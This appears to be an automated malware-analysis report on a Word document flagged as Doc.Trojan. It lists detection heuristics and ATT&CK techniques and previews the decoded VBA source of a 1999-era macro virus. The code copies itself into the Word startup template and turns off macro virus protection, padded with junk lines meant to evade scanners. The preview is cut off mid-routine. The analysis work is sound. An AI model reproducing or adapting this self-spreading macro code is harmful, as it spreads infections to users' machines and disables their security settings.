MALICIOUS
202
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains a legacy WordBasic AutoOpen macro, identified by the OLE_LEGACY_WORDBASIC_AUTOEXEC heuristic. The macro itself is heavily obfuscated but contains comments indicating it is a 'macro-virus' and aims to spread itself. The presence of the AutoOpen macro strongly suggests an initial execution vector via Spearphishing Attachment (T1566.001). While the specific payload is not clear due to obfuscation, the intent is to execute malicious code within the document.
Heuristics 5
-
ClamAV: Doc.Trojan.VMPCK1-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.VMPCK1-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://officeupdate.microsoft.com/Articles/privacy.htm In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7867 bytes |
SHA-256: 2200a7637bd896d27f6e5768eb95330c78c7917a357370ed014c1f1a71f4744a |
|||
|
Detection
ClamAV:
Doc.Trojan.Vmpc-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "virus"
'-----------------------------------------------------------------------------------------------------------------
'xix-lx/pt macro-virus v3beta1 for ms-word97. THIS VIRUS IS HARMLESS! so, don't worry :) drop klinton, not bombs!!
'by the way, there is a lot of crap inside this macro. it's the only way to avoid the virus scans ;) and it works!
'-----------------------------------------------------------------------------------------------------------------
'usage: open word97; tools; macro; vb editor; file; import file; virus3beta1.bas. that's it! now, spread the doc!!
'-----------------------------------------------------------------------------------------------------------------
'warning: please do not modify this macro! it's just a way to show my repulse against the nato agression on yugos-
'lavia. i will not be resposible for any damage you may cause with this virus! ... don't act like adolf klinton!!!
'-----------------------------------------------------------------------------------------------------------------
'*** IMPORTANT NOTICE! *** BIG BROTHER IS WATCHING YOU! --> http://officeupdate.microsoft.com/Articles/privacy.htm
'-----------------------------------------------------------------------------------------------------------------
Sub AutoExec()
On Error Resume Next
MjQuQzSq = BlFj1781 & RmEo4638
OiBh17552 = LoPtAjJu & IoSv9624 & Int(Rnd * 9959)
CuJeLgGr = KpFq9243 & QnIu16229
If UCase(Dir(Application.StartupPath & "\Word97.dot")) <> "WORD97.DOT" Then
MjQuQzSq = BlFj1781 & RmEo4638
OiBh17552 = LoPtAjJu & IoSv9624 & Int(Rnd * 9959)
CuJeLgGr = KpFq9243 & QnIu16229
Documents.Add Template:="", NewTemplate:=False
MjQuQzSq = BlFj1781 & RmEo4638
OiBh17552 = LoPtAjJu & IoSv9624 & Int(Rnd * 9959)
CuJeLgGr = KpFq9243 & QnIu16229
Open "c:\windows\system\WD1_.DRV" For Output As 1
Print #1, "Attribute VB_Name = ""WD1_"""
Print #1, "Sub FileSave()"
Print #1, "DkHjFoFq = DhIv4080 & RmBx14271"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "On Error Resume Next"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "If NormalTemplate.VBProject.VBComponents.Item(""virus"").Name <> ""virus"" Then"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "NormalTemplate.VBProject.VBComponents.Import ""c:\windows\system\WD1_.DRV"""
Print #1, "End If"
Print #1, "OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649"
Print #1, "DnGhPlCz = HrHp17923 & OvKm18343"
Print #1, "ActiveDocument.Save"
Print #1, "End Sub"
Close 1
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
ActiveDocument.VBProject.VBComponents.import "c:\windows\system\WD1_.DRV"
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
ActiveDocument.SaveAs FileName:=Application.StartupPath & "\Word97.dot", FileFormat:=wdFormatTemplate, AddToRecentFiles:=False, ReadOnlyRecommended:=False
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
Windows("Word97.dot").Close
OxPv15243 = JySiQxBr & HpUq9362 & NoKlGoJt & NoUn9649
DnGhPlCz = HrHp17923 & OvKm18343
End If
End Sub
Sub virus()
On Error Resume Next
PnFe9171 = NrHoSrPn & DvEs10622 & Int(Rnd * 1805)
VvKg9994 = GoBjPrNe & VwNx10191 & Int(Rnd * 8583)
DkHjFoFq = DhIv4080 & RmBx14271
Options.VirusProtection = False
System.ProfileString("Options", "EnableMacroVirusProtection") = "0"
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
CommandBars("Tools").Controls("Macro").Enabled = False
MyQw11660 = RnVvIgVf & OfIs12735 & PrRwHqDj &
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.